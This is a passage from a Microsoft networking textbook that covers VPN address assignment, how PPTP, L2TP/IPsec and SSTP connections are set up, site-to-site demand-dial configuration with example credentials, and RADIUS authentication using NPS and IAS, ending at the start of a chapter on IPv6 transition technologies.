addresses to other clients. When all 10 of the initial set of addresses are being concurrently used and
another remote access client attempts a connection, Routing and Remote Access obtains 10 more
addresses.
If the DHCP Client service cannot contact a DHCP server, the service returns addresses from the
Automatic Private IP Addressing (APIPA) range of 169.254.0.0/16 (from 169.254.0.1 through
169.254.255.254). APIPA addresses are off-subnet addresses that, by default, have no corresponding
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 416
route in the intranet routing infrastructure. Remote access clients that are assigned an APIPA address
cannot communicate beyond the remote access server.
Routing and Remote Access attempts to obtain DHCP-allocated addresses using the interface that you
specify by opening the properties of the server running Routing and Remote Access, clicking the IPv4
or IP tab, and clicking the name of the interface in Adapter, as Figure 14-7 shows.
Figure 14-7 The IPv4 tab for the properties of the server running Routing and Remote Access
You can also specify this adapter on the Network Selection page of the Routing and Remote Access
Server Setup Wizard (if you have more than one intranet interface). If you specify the wrong adapter,
attempts to contact the DHCP server using that adapter could fail and return APIPA addresses. If you
specify Allow RAS to select adapter in Adapter, Routing and Remote Access randomly picks a LAN
interface to use at startup, which could also result in the use of the wrong adapter.
When the Routing and Remote Access service is stopped, it sends DHCPRelease messages to release
all of the IPv4 addresses obtained through DHCP.
Obtaining IPv4 Addresses from a Static Address Pool
A static address pool comprises one or more ranges of manually configured IPv4 addresses. When you
configure a static IPv4 address pool, the VPN server uses the first address in the first range. The server
allocates subsequent addresses to TCP/IP-based remote access clients as they connect. When the
clients disconnect, the server can reassign those addresses to other clients.
An address range in the static IPv4 address pool can be an on-subnet range, an off-subnet range, or a
mixture of on-subnet and off-subnet addresses.
If any of the addresses in any of the address ranges are off-subnet, you must add the route or routes
that summarize those addresses to the intranet routing infrastructure. This step helps ensure that traffic
destined to remote access clients is forwarded to the VPN server, which forwards the traffic to the
appropriate client. To provide the best summarization of address ranges for routes, you should choose
address ranges that you can express using a single address prefix. For example, the address range
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 417
192.168.2.1 through 192.168.2.254 can be expressed as 192.168.2.0 with the subnet mask
255.255.255.0 (192.168.2.0/24).
The Process for Setting Up a Remote Access VPN Connection
The creation of a remote access VPN connection occurs in the following three steps:
1. Logical link setup
Creates the point-to-point link between the client and the server for the purposes of sending PPP
frames. The logical link used for VPN connections is the VPN tunnel that represents a logical point-
to-point link. If the client is running Windows, the message that appears during the logical link setup
is "Connecting."
2. PPP connection setup
Uses PPP protocols to negotiate the parameters of the PPP link, authenticate the credentials of the
remote access user, and negotiate the use of and the parameters for the protocols that will operate
over the PPP link. If the client is running Windows, the message that appears during the PPP
connection setup is "Verifying user name and password."
3. Remote access VPN client registration
The client obtains additional configuration parameters and registers itself in the Domain Name
System (DNS) and the Windows Internet Name Service (WINS) for name resolution. If the client is
running Windows, the message that appears during the remote access client registration is
"Registering your computer on the network."
Step 1: Logical Link Setup
The process for the logical link setup depends on whether the VPN connection is using PPTP or
L2TP/IPsec.
PPTP-based connections are established in the following two phases:
Phase 1
The client initiates a TCP connection from a dynamically allocated TCP port to TCP port 1723 on
the remote access VPN server.
Phase 2
The remote access VPN client and the server exchange a series of PPTP messages to negotiate
the use of a PPTP tunnel and a specific call identifier (ID) for the connection, which is used in the
PPTP GRE header.
When the PPTP connection setup begins, the client must already be connected to the Internet. If the
client is not connected, the user can create a dial-up connection to an ISP before initiating the PPTP
connection.
L2TP/IPsec-based connections are established in the following two phases:
Phase 1
The IPsec security associations (SAs) needed to protect IPsec-based communications and data are
negotiated and created. IPsec uses the Internet Key Exchange (IKE) protocol to negotiate the IKE
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 418
main mode and quick mode SAs. The main mode SA protects IPsec negotiations. The quick mode
SAs—one for inbound packets and one for outbound packets—protect L2TP data using UDP port
1701. The main mode SA is authenticated using either certificates or a preshared key.
For certificate authentication, the VPN server sends the VPN client a list of acceptable root
certification authorities (CAs) from which the server will accept a certificate for authentication. The
VPN client responds with a certificate chain (ending at a root CA certificate for a root CA from the
list that the server sent) and its own list of acceptable root CAs. The server verifies the certificate
chain of the client and then sends its own certificate chain (ending at a root CA certificate for a root
CA from the list that the client sent) to the client. The client verifies the certificate chain that the
server sent.
For preshared key authentication, both the client and the server send a hash value that
incorporates the value of the preshared key. The server verifies the hash value that the client sent,
and the client verifies the hash value that the server sent.
For more information about main mode and quick mode negotiations, see Chapter 13, "Internet
Protocol Security and Packet Filtering."
Phase 2
The client and the server exchange a series of L2TP messages to negotiate the use of an L2TP
tunnel and a specific call ID to identify a connection within the L2TP tunnel.
When the L2TP/IPsec connection setup begins, the client must already be connected to the Internet. If
the client is not already connected, the user can create a dial-up connection to an ISP before initiating
the L2TP/IPsec connection.
SSTP-based connections are established with the following process:
1. The SSTP client establishes a TCP connection with the SSTP server between a dynamically-
allocated TCP port on the client and TCP port 443 on the server.
2. The SSTP client sends an SSL Client-Hello message, indicating that the client wants to create an
SSL session with the SSTP server.
3. The SSTP server sends its computer certificate to the SSTP client.
4. The SSTP client validates the computer certificate, determines the encryption method for the SSL
session, generates an SSL session key and then encrypts it with the public key of the SSTP server’s
certificate.
5. The SSTP client sends the encrypted form of the SSL session key to the SSTP server.
6. The SSTP server decrypts the encrypted SSL session key with the private key of its computer
certificate. All future communication between the SSTP client and the SSTP server is encrypted with
the negotiated encryption method and SSL session key.
7. The SSTP client sends an HTTP over SSL request message to the SSTP server.
8. The SSTP client negotiates an SSTP tunnel with the SSTP server.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 419
Step 2: PPP Connection Setup
The PPP connection process follows the four phases described in the "Point-to-Point Protocol" section
of this chapter.
Step 3: Remote Access VPN Client Registration
Each remote access VPN client sends a DHCPInform message to obtain additional TCP/IP
configuration parameters and performs name registration.
To obtain additional TCP/IP configuration parameters, the client performs the following process:
1. The client sends a DHCPInform message on the PPP link to the VPN server.
2. The VPN server, configured with the DHCP Relay Agent routing protocol component and at least one
IPv4 address of a DHCP server, relays the DHCPInform message to the DHCP server.
3. The DHCP server sends back a DHCPAck message that contains the requested options.
4. The VPN server relays the DHCPAck message to the client.
The principal use of the DHCPInform message is to obtain TCP/IP configuration parameters that are
not obtained using IPCP, such as the DNS domain name assigned to the VPN connection. Only remote
access VPN clients running Windows send the DHCPInform message.
Before nodes on the intranet can resolve the names of remote access VPN clients while they are
connected, the names and IPv4 addresses of the clients must be registered in the DNS and network
basic input/output system (NetBIOS) namespaces of the private network. Because a remote access
VPN client is typically assigned a different IPv4 address every time it connects, names in the
namespaces should be dynamic, rather than static. Dynamic name registration for remote access
clients consists of the following:
The remote access VPN client sends DNS dynamic update messages to its configured DNS server to
register its DNS names.
The client also sends NetBIOS name registration messages to its configured WINS server to register its
NetBIOS names.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 420
Site-to-Site VPN Connections
Routing and Remote Access in Windows Server 2008 and Windows Server 2003 supports demand-dial
routing (also known as dial-on-demand routing) over both dial-up connections (such as analog phone
lines or ISDN) and VPN connections. Demand-dial routing forwards packets across a PPP link, which is
represented inside Routing and Remote Access as a demand-dial interface. You can use demand-dial
interfaces to create on-demand connections across dial-up, non-permanent, or permanent media.
Demand-dial routing is not the same as remote access. Remote access connects a single computer to
a network, whereas demand-dial routing connects entire networks. However, both use PPP as the
protocol through which they negotiate and authenticate the connection and encapsulate the data sent
over it. With Routing and Remote Access in Windows Server 2008 and Windows Server 2003, you can
enable remote access and demand-dial connections separately. However, they share the following
attributes:
Dial-in properties of user accounts
Security (authentication protocols and encryption)
Windows or RADIUS authentication, authorization, and accounting
IPv4 address assignment and configuration
PPP features, such as MPPC and MPPE
Although the concept of demand-dial routing is fairly simple, the actual configuration is relatively
complex due to the following factors:
Connection endpoint addressing
The connection must be made over public data networks, such as the analog phone system or the
Internet. You specify the endpoint of the connection using a phone number for dial-up connections
and either a host name or an IPv4 address for VPN connections.
Authentication and authorization of the caller
Anyone who calls the router must be authenticated and authorized. Authentication is based on the
caller's set of credentials, which are passed to the router while the connection is being established.
The credentials that are passed must correspond to a Windows user account. The router authorizes
the connection based on the dial-in properties of the Windows user account and the remote access
policies for the organization network.
Differentiation between remote access VPN clients and calling routers
Both routing and remote access capabilities coexist on the same computer running Windows
Server 2008 or Windows Server 2003. Both remote access clients and demand-dial routers can
initiate a connection. For demand-dial connections, the computer initiating the demand-dial
connection is the calling router. The computer answering the connection attempt of a calling router
is the answering router. The computer running Windows Server 2008 or Windows Server 2003
must be able to distinguish between a connection attempt from a remote access client and one
from a calling router.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 421
The computer identifies the connection attempt as a remote access connection unless the
authentication credentials include a user name that matches the name of a demand-dial interface
on the answering router.
Configuration of both ends of the connection
You must configure both ends of the connection to enable two-way communication, even if only one
end of the connection always initiates a demand-dial connection. If you configure only one end of
the connection, packets will route in only one direction.
Configuration of static routes
You should not use dynamic routing protocols over on-demand demand-dial connections.
Therefore, you must add routes for address prefixes that are available across the demand-dial
interface as static routes to the routing tables of the demand-dial routers.
Configuring a Site-to-Site VPN Connection
To configure a site-to-site VPN connection, you must do the following:
Enable and configure Routing and Remote Access on the answering router.
Use the same procedure as described in the "VPN Server Support" section of this chapter.
Configure a demand-dial interface on the answering router.
Enable and configure Routing and Remote Access on the calling router.
Use the same procedure as described in the "VPN Server Support" section of this chapter.
Configure a demand-dial interface on the calling router.
Configuring a Demand-dial Interface
From either the answering router or the calling router, perform the following steps:
1. In the console tree of the Routing and Remote Access snap-in, right-click Network Interfaces, and
then click New Demand-dial Interface.
2. On the Welcome to the Demand-Dial Interface Wizard page, click Next.
3. On the Interface Name page, type a name for the demand-dial interface, and then click Next.
4. On the Connection Type page, click Connect using Virtual Private Networking (VPN), and then
click Next.
5. On the VPN Type page, click Automatic selection, Point to Point Tunneling Protocol (PPTP), or
Layer 2 Tunneling Protocol (L2TP) (as needed), and then click Next.
6. On the Destination Address page, type the IPv4 address of the other router's Internet interface, and
then click Next.
7. On the Protocols And Security page, select the Route IP packets on this interface and Add a
user account so that a remote router can dial in check boxes, and then click Next.
8. On the Static Routes for Remote Networks page, click Add to add static routes that are assigned
to the demand-dial interface and that represent the address prefixes of the site across the site-to-site
VPN connection (as needed). Click Next.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 422
9. On the Dial In Credentials page, type the password of the user account used by the calling router in
Password and Confirm password, and then click Next.
This step automatically creates a user account with the same name as the demand-dial interface that
you are creating. You are also configuring the router to use this account name in its dial in
credentials. When a calling router initiates a connection to an answering router, the calling router is
using a user account name that matches the name of a demand-dial interface. Therefore, the
answering router can determine that the incoming connection from the calling router is a demand-dial
connection, rather than a remote access connection.
10. On the Dial Out Credentials page, type the user name in User name, the user account domain
name in Domain, and the user account password in both Password and Confirm password.
If this router might call the other router, for a two-way-initiated, router-to-router VPN connection,
configure the name, domain, and password when this router is acting as the calling router. If this
router never calls the other router, you can type any name in User name and skip the rest of the
fields.
11. On the Completing the Demand-Dial Interface Wizard page, click Finish.
Connection Example for a Site-to-Site VPN
The complete configuration required for a site-to-site VPN connection is best illustrated by example.
Figure 14-8 shows an example configuration of two offices that must connect to each other's networks
across the Internet by using a site-to-site VPN connection.
Figure 14-8 Example configuration for connecting two offices across the Internet
The Seattle office has a computer that is running Windows Server 2008 and that acts as both a remote
access VPN server and a demand-dial router. All computers in the Seattle office are connected to the
172.16.1.0/24 network (subnet mask 255.255.255.0). The Seattle router (Router 1) has an Internet
interface that is assigned the public IPv4 address 131.107.21.178.
The New York office has a computer that is running Windows Server 2008 and that acts as both a
remote access VPN server and a demand-dial router. All computers in the New York office are
connected to the 172.16.2.0/24 network (subnet mask 255.255.255.0). The New York router (Router 2)
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 423
has an Internet interface that is assigned the public IPv4 address 157.60.234.17. All computers in both
offices are in the example.com domain.
To configure demand-dial routing for the site-to-site VPN connection for this example, you must perform
the following steps:
Configure and enable Routing and Remote Access on Router 1.
Configure a demand-dial interface on Router 1 with the following settings:
Name: DD_NewYork
Destination Address: 157.60.234.17
Routes: 172.16.2.0 with the subnet mask 255.255.255.0
Dial In Credentials: User account name of DD_NewYork with the password of
h8#dW@93z~[Fc6$Q (example password)
Dial Out Credentials: User account name of DD_Seattle, domain name of example.com, and the
password of 7%uQv45l?p!kWy9* (example password)
Configure and enable Routing and Remote Access on Router 2.
Configure a demand-dial interface on Router 2.
Name: DD_Seattle
Destination Address: 131.107.21.178
Routes: 172.16.1.0/24
Dial In Credentials: User account name of DD_Seattle with the password 7%uQv45l?p!kWy9*
Dial Out Credentials: User account name of DD_NewYork, domain name of example.com, and the
password of h8#dW@93z~[Fc6$Q
Because you have configured a two-way initiated site-to-site VPN connection, you can initiate the
connection by performing the following steps on either Router 1 or Router 2:
1. In the tree of Routing and Remote Access, click Routing Interfaces.
2. In the details pane, right-click the demand-dial interface, and then click Connect.
Figure 14-9 shows the resulting demand-dial routing configuration in terms of the demand-dial
interfaces, static routes, and user accounts for the Seattle and New York offices.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 424
Figure 14-9 Resulting example configuration for a site-to-site VPN connection
This example shows a correct configuration for demand-dial routing. The user name from the user
credentials of the demand-dial interface on the calling router must match the name of a demand-dial
interface on the answering router in order for the incoming connection attempt to be considered a
demand-dial connection. This relationship is summarized in Table 14-1.
Router
Demand-dial interface name
User account name in dial out
credentials
Router 1
DD_NewYork
DD_Seattle
Router 2
DD_Seattle
DD_NewYork
Table 14-1 Connection example of a site-to-site VPN
The Connection Process for Site-to-Site VPNs
A site-to-site VPN connection uses the same connection process as a remote access connection, as
described in "The Process for Setting Up a Remote Access VPN Connection" section of this chapter,
with the following exceptions:
Both routers request an IPv4 address from the other router.
The calling router does not register itself as a remote access client.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 425
Using RADIUS for Network Access Authentication
You can configure a VPN server running Windows Server 2008 or Windows Server 2003 to perform its
own authentication, authorization, and accounting (AAA) for VPN connections or to use Remote
Authentication Dial-in User Service (RADIUS). RFCs 2865 and 2866 define RADIUS, a widely deployed
protocol that enables centralized AAA for network access.
Originally developed for dial-up remote access, RADIUS is now supported by VPN servers, wireless
access points (APs), authenticating Ethernet switches, Digital Subscriber Line (DSL) access servers,
and other types of network access servers.
RADIUS Components
A RADIUS AAA infrastructure consists of the following components:
Access clients
Access servers (RADIUS clients)
RADIUS servers
User account databases
RADIUS proxies
Figure 14-10 shows these components.
Figure 14-10 The components of a RADIUS infrastructure
The following sections describe these components in detail.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 426
Access Clients
An access client requires access to a network or to another part of the network. Examples of access
clients are dial-up or VPN remote access clients, wireless clients, or LAN clients connected to an
authenticating switch. Access clients do not use the RADIUS protocol.
Access Servers
An access server provides access to a network. An access server using a RADIUS infrastructure is also
a RADIUS client, sending connection requests and accounting messages to a RADIUS server.
Examples of access servers are the following:
Network access servers (remote access servers) that provide remote access to an organization
network or to the Internet. An example is a computer that is running Windows Server 2008 or Windows
Server 2003 and Routing and Remote Access and that provides either dial-up or VPN-based remote
access to an organization's intranet.
Wireless APs that provide physical access to an organization's network by using wireless-based
transmission and reception technologies.
Switches that provide physical access to an organization's network by using LAN technologies such as
Ethernet.
RADIUS Servers
A RADIUS server receives and processes connection requests or accounting messages sent by
RADIUS clients or RADIUS proxies. During a connection request, the RADIUS server processes the list
of RADIUS attributes in the connection request. Based on a set of authorization rules and the
information in the user account database, the RADIUS server either authenticates and authorizes the
connection and sends back a RADIUS Access-Accept message or, if either authentication or
authorization fails, sends back a RADIUS Access-Reject message. The RADIUS Access-Accept
message can contain connection restrictions that the access server enforces for the duration of the
connection.
The Network Policy Server (NPS) component of Windows Server 2008 and the Internet Authentication
Service (IAS) component of Windows Server 2003 are industry-standard RADIUS servers.
User Account Databases
A user account database is a list of user accounts and their properties that a RADIUS server can check
to verify authentication credentials and to obtain user account properties that contain information about
authorization and connection parameters.
NPS and IAS can use the local Security Accounts Manager (SAM), a domain based on Microsoft
Windows NT 4.0 operating systems, or Active Directory as a user account database. For Active
Directory, NPS and IAS can provide authentication and authorization for user or computer accounts in
the domain of which the IAS server is a member, two-way trusted domains, and trusted forests with
domain controllers running Windows Server 2008 or Windows Server 2003.
If the user accounts for authentication reside in a different type of database, you can use a RADIUS
proxy to forward the authentication request to a RADIUS server that does have access to the user
account database.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 427
RADIUS Proxies
A RADIUS proxy routes RADIUS connection requests and accounting messages between RADIUS
clients (or other RADIUS proxies) and RADIUS servers (or other RADIUS proxies). A RADIUS proxy
uses information within the RADIUS message to route it to the appropriate RADIUS client or server.
You can use a RADIUS proxy as a forwarding point for RADIUS messages when AAA must occur at
multiple RADIUS servers in different organizations.
With the RADIUS proxy, the definition of RADIUS client and RADIUS server becomes blurred. A
RADIUS client to a RADIUS proxy can be an access server (that originates connection request or
accounting messages) or another RADIUS proxy. There can be multiple RADIUS proxies between the
originating RADIUS client and the final RADIUS server using chained RADIUS proxies. In a similar way,
a RADIUS server to a RADIUS proxy can be the final RADIUS server (which performs the
authentication and authorization evaluation) or another RADIUS proxy. Therefore, from a RADIUS
proxy perspective, a RADIUS client is the RADIUS entity from which the proxy receives RADIUS
request messages, and a RADIUS server is the RADIUS entity to which the proxy forwards RADIUS
request messages.
The NPS component of Windows Server 2008 and the IAS component of Windows Server 2003 are
industry-standard RADIUS proxies.
NPS or IAS as a RADIUS Server
You can use NPS or IAS as a RADIUS server to perform AAA for RADIUS clients. A RADIUS client can
be either an access server or a RADIUS proxy. Figure 14-11 shows NPS or IAS as a RADIUS server.
Figure 14-11 NPS or IAS as a RADIUS server
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 428
The access server and the RADIUS proxy exchange RADIUS messages with the NPS or IAS server.
NPS or IAS uses a secure communications channel to communicate with an Active Directory domain
controller.
When NPS or IAS is used as a RADIUS server, it provides the following:
A central authentication and authorization service for all access requests that RADIUS clients and
RADIUS proxies send.
NPS or IAS uses an Active Directory–based domain or the local SAM to authenticate user
credentials for a connection attempt. NPS uses the dial-in properties of the account and network
policies to authorize a connection and enforce connection constraints. IAS uses the dial-in
properties of the account and remote access policies to authorize a connection and enforce
connection constraints.
A central accounting recording service for all accounting requests that RADIUS clients send.
For Windows Server 2008 or Windows Server 2003, accounting requests are stored in a local log
file or sent to a structured query language (SQL) server database for analysis.
You can use NPS or IAS as a RADIUS server in the following circumstances:
You use a Active Directory–based domain or the local SAM as your user account database for access
clients.
You use Routing and Remote Access in Windows Server 2008 or Windows Server 2003 on multiple
dial-up servers, VPN servers, or site-to-site routers and you want to centralize both the configuration of
remote access policies and the accounting of connection information.
You outsource your dial-up, VPN, or wireless access to a service provider. The access servers use
RADIUS to authenticate and authorize connections that members of your organization make.
You want to centralize AAA for a heterogeneous set of access servers.
To send RADIUS messages to an NPS or IAS-based RADIUS server, you must configure your access
servers or RADIUS proxies to use the NPS or IAS server as their RADIUS server. To receive RADIUS
messages from access servers or RADIUS proxies, you must configure the NPS or IAS server with
RADIUS clients. For example, if your VPN server is using NPS or IAS servers for RADIUS
authentication or accounting, you must do the following:
Configure the VPN server with RADIUS servers that correspond to the NPS or IAS servers.
Configure the NPS or IAS servers with a RADIUS client that corresponds to the VPN server.
To install NPS on a computer running Windows Server 2008, do the following:
1. Click Start, point to Programs, point to Administrative Tools, and then click Server Manager.
2. In the console tree, right-click Roles, click Add Roles, and then click Next.
3. On the Select Server Roles page, select the Network Policy and Access Services check box, and
then click Next.
4. Follow the pages of the Add Roles wizard.
To install IAS on a computer running Windows Server 2003, do the following:
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 429
1. Click Start, click Control Panel, and then double-click Add or Remove Programs.
2. Click Add/Remove Windows Components.
3. In the Windows Components Wizard dialog box, click Networking Services, and then click
Details.
4. In the Networking Services dialog box, select the Internet Authentication Service check box, click
OK, and then click Next.
5. If prompted, insert the Windows Server 2003 product disk.
6. After IAS is installed, click Finish, and then click Close.
To create a RADIUS client on an NPS server, do the following:
1. Click Start, click Control Panel, double-click Administrative Tools, and then double-click Network
Policy Server.
2. In the tree, open RADIUS Clients and Server, right-click RADIUS Clients, and then click New
RADIUS Client.
To create a RADIUS client on an IAS server, do the following:
3. Click Start, click Control Panel, double-click Administrative Tools, and then double-click Internet
Authentication Service.
4. In the tree, right-click RADIUS Clients, and then click New RADIUS Client.
The New RADIUS Client Wizard will guide you through creating and configuring a RADIUS client.
Network and Remote Access Policies
For a connection attempt to be accepted, it must be both authenticated and authorized. Authentication
verifies the credentials of the access client. Authorization verifies that the connection attempt is allowed
and is granted on the basis of account dial-in properties and either network policies (for NPS) or remote
access policies (for IAS). Network and remote access policies are an ordered set of rules that define
how connections are either authorized or rejected. Each rule has one or more conditions, a set of profile
settings, and a setting for network or remote access permission.
When a connection is authorized, the settings of the network or remote access policy can specify a set
of connection restrictions. The dial-in properties of the account also provide a set of restrictions. Where
applicable, connection restrictions from the account properties override those from the network or
remote access policy.
Network or Remote Access Policy Conditions and Restrictions
Before authorizing the connection, network or remote access policies can validate a number of
connection settings, including the following:
Group membership
Type of connection
Time of day
Authentication method
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 430
Identity of the access server
After authorizing the connection, network or remote access policies can specify connection restrictions,
including the following:
Idle timeout time
Maximum session time
Encryption strength
Authentication method
IPv4 packet filters
For example, you can have policies that specify different maximum session times for different types of
connections or groups. Additionally, you can have policies that specify restricted access for business
partners or vendors.
You can configure network or remote access policies either from the VPN server computer, if it is not
configured to use RADIUS, or from the NPS or IAS server computer.
NPS or IAS as a RADIUS Proxy
You can use NPS or IAS as a RADIUS proxy to route RADIUS messages between RADIUS clients
(access servers) and RADIUS servers that perform AAA for the connection attempt. When you use
NPA or IAS as a RADIUS proxy, NPS or IAS acts as a central switching or routing point through which
RADIUS access and accounting messages flow. NPS or IAS records information in an accounting log
about the messages that it forwards. Figure 14-12 shows NPS or IAS as a RADIUS proxy.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 431
Figure 14-12 NPS or IAS as a RADIUS proxy
Connection Request Processing
To determine whether a RADIUS client message should be processed locally or forwarded to another
RADIUS server, an NPS server running Windows Server 2008 or an IAS server running Windows
Server 2003 uses the following:
Connection request policies
For any incoming RADIUS request message, connection request policies determine whether the
NPS or IAS server processes the message locally or forwards it to another RADIUS server.
Connection request policies are rules that specify conditions and profile settings, which give you
flexibility to configure how the NPS or IAS server handles incoming authentication and accounting
request messages. With connection request policies, you can create a series of policies so that an
NPS or IAS server processes some RADIUS request messages locally (acting as a RADIUS
server) and forwards other types of messages to another RADIUS server (acting as a RADIUS
proxy).
Remote RADIUS server groups
When an NPS or IAS server forwards RADIUS messages, remote RADIUS server groups specify
the set of RADIUS servers to which the server forwards the messages. A remote RADIUS server
group is a named group that contains one or more RADIUS servers. When you configure a
connection request policy to forward RADIUS traffic, you must specify a remote RADIUS server
group. This group facilitates the common configuration of both a primary and a secondary RADIUS
server. You can specify various settings either to determine the order in which the servers are used
or to distribute the RADIUS messages across all servers in the group.
In Windows Server 2008, you can configure connection request policies from the Policies node and
remote RADIUS server groups from the RADIUS Clients and Servers folder in the Network Policy
Server snap-in.
In Windows Server 2003, you can configure connection request policies and remote RADIUS server
groups from the Connection Request Processing folder in the Internet Authentication Service snap-in.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 432
Chapter Summary
The chapter includes the following pieces of key information:
A virtual private network (VPN) extends a private network to encompass links across shared or public
networks like the Internet. With authentication, encapsulation, and encryption, you can use a VPN
connection to send data between two computers across a shared or public internetwork in a manner
that emulates the properties of a point-to-point private link.
A remote access VPN connection connects a single client computer to a private network across a
public or shared network. Either a default route or a set of routes that summarize the addresses of the
private intranet facilitates routing for remote access VPN connections.
A site-to-site VPN connection connects two portions of a private network across a public or shared
network. A set of routes associated with the demand-dial interfaces that represent the point-to-point
VPN connection facilitates routing for site-to-site VPN connections.
Windows Vista, Windows XP, Windows Server 2008, and Windows Server 2003 support both a VPN
client and a VPN server for remote access VPN connections. A computer running Windows Server
2008 or Windows Server 2003 can act as a calling or answering router in a site-to-site VPN connection.
RADIUS is a standard protocol that you can use for authorization, authentication, and accounting of
network access, including VPN connections. NPS in Windows Server 2008 and IAS in Windows
Server 2003 are the Microsoft implementations of a RADIUS server and proxy.
NPS uses network policies and IAS uses remote access policies to determine authorization of network
access.
Both NPS and IAS use connection request policies to determine whether the server should process an
incoming RADIUS request message locally or forward it to another RADIUS server.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 433
Chapter Glossary
access client – A network device that requires access to a network or another part of the network.
access server – A network device that provides access to a network. An access server that uses a
RADIUS server for authentication, authorization, and accounting is also a RADIUS client.
answering router – The router that answers the demand-dial connection attempt (the VPN server).
calling router – The router that initiates the demand-dial connection (the VPN client).
Layer Two Tunneling Protocol (L2TP) – A VPN tunneling protocol that uses UDP and an L2TP header
to encapsulate PPP frames sent across an IPv4 network.
Point-to-Point Protocol (PPP) – An industry standard suite of protocols for the use of point-to-point links
to transport multiprotocol packets.
Point-to-Point Tunneling Protocol (PPTP) – A VPN tunneling protocol that uses a TCP connection for
tunnel maintenance and a Generic Routing Encapsulation (GRE) header to encapsulate PPP frames.
RADIUS – See Remote Authentication Dial-In User Service (RADIUS).
RADIUS proxy – A RADIUS-capable device that routes RADIUS connection requests and accounting
messages between RADIUS clients (and RADIUS proxies) and RADIUS servers (and RADIUS
proxies).
RADIUS server – A server that receives and processes connection requests or accounting messages
sent by RADIUS clients or RADIUS proxies.
remote access VPN connection – A VPN connection that connects a single client computer to a private
network across a public or shared network.
Remote Authentication Dial-In User Service (RADIUS) – An industry standard protocol that you can use
to send messages between access servers, RADIUS servers, and RADIUS proxies to provide
authentication, authorization, and accounting (AAA) of network access.
Secure Socket Tunneling Protocol (SSTP) – A VPN tunneling protocol that uses a HyperText Transfer
Protocol (HTTP) over Secure Sockets Layer (SSL) session and an SSTP header to encapsulate PPP
frames.
site-to-site VPN connection – A VPN connection that connects two portions of a private network
together across a public or shared network.
user account database – A list of user accounts and their properties that a RADIUS server can check to
verify authentication credentials and obtain user account properties that contain information about
authorization and connection parameters.
virtual private network (VPN) – The extension of a private network that encompasses encapsulated,
encrypted, and authenticated links across shared or public networks. VPN connections can provide
remote access and routed connections to private networks over a public or shared network, such as the
Internet.
VPN – See virtual private network (VPN).
VPN client – A computer that initiates a connection to a VPN server.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 434
VPN server – A computer that accepts virtual private network (VPN) connections from VPN clients. A
VPN server can provide a remote access or a site-to-site VPN connection.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 435
Chapter 15 – IPv6 Transition Technologies
Abstract
This chapter describes the mechanisms that aid in the transition of Internet Protocol version 4 (IPv4) to Internet Protocol
version 6 (IPv6) and the set of IPv6 transition technologies that are included with Microsoft Windows. Because the
deployment of IPv6-only environments will not replace IPv4-only environments in the near future, network
administrators must understand transition technologies that allow the concurrent use of IPv6 and IPv4 in a mixed
environment.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 436
Chapter Objectives
After completing this chapter, you will be able to:
List and describe the different types of IPv4 and IPv6 nodes.
Describe the mechanisms for IPv4 to IPv6 transition.
List and describe the types of tunneling configurations.
Define the differences between configured and automatic tunneling.
Describe ISATAP in terms of its purpose, requirements, and addresses.
Describe 6to4 in terms of its purpose, requirements, and addresses.
Describe Teredo in terms of its purpose, requirements, and addresses.
List and describe the steps in migrating from IPv4 to IPv6.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 437
Introduction to IPv6 Transition Technologies
Protocol transitions are typically done by installing and configuring the new protocol on all nodes within
the network and verifying that all node and router operations work successfully. Although this might be
possible in a small or medium sized organization, the challenge of making a rapid protocol transition in
a large organization is very difficult. Additionally, given the scope of the Internet, rapid protocol
transition is an impossible task.
The designers of IPv6 recognized that the transition from IPv4 to IPv6 would take years and that there
might be organizations or hosts within organizations that will continue to use IPv4 indefinitely.
Therefore, while migration is the long-term goal, equal consideration must be given to the interim
coexistence of IPv4 and IPv6 nodes.
RFC 2893 defines the following node types:
IPv4-only node
A node that uses only IPv4 and has only IPv4 addresses assigned. This node type does not
support IPv6. Most hosts and routers installed today are IPv4-only nodes.
IPv6-only node
A node that uses only IPv6 and has only IPv6 addresses assigned. This node type is only able to
communicate with IPv6 nodes and applications. This type of node is not common today, but will
become more prevalent as smaller devices such as cellular phones and handheld computing
devices use only the IPv6 protocol.
IPv6/IPv4 node
A node that uses both IPv4 and IPv6.
IPv4 node
A node that uses IPv4. An IPv4 node can be an IPv4-only node or an IPv6/IPv4 node.
IPv6 node
A node that uses IPv6. An IPv6 node can be an IPv6-only node or an IPv6/IPv4 node.
For coexistence to occur, all nodes (IPv4 or IPv6 nodes) can communicate using an IPv4 infrastructure,
an IPv6 infrastructure, or an infrastructure that is a combination of IPv4 and IPv6. True migration is
achieved when all IPv4 nodes are converted to IPv6-only nodes. However, for the foreseeable future,
practical migration is achieved when as many IPv4-only nodes as possible are converted to IPv6-only
nodes. IPv4-only nodes can communicate with IPv6-only nodes through an IPv4-to-IPv6 proxy or
translation gateway.
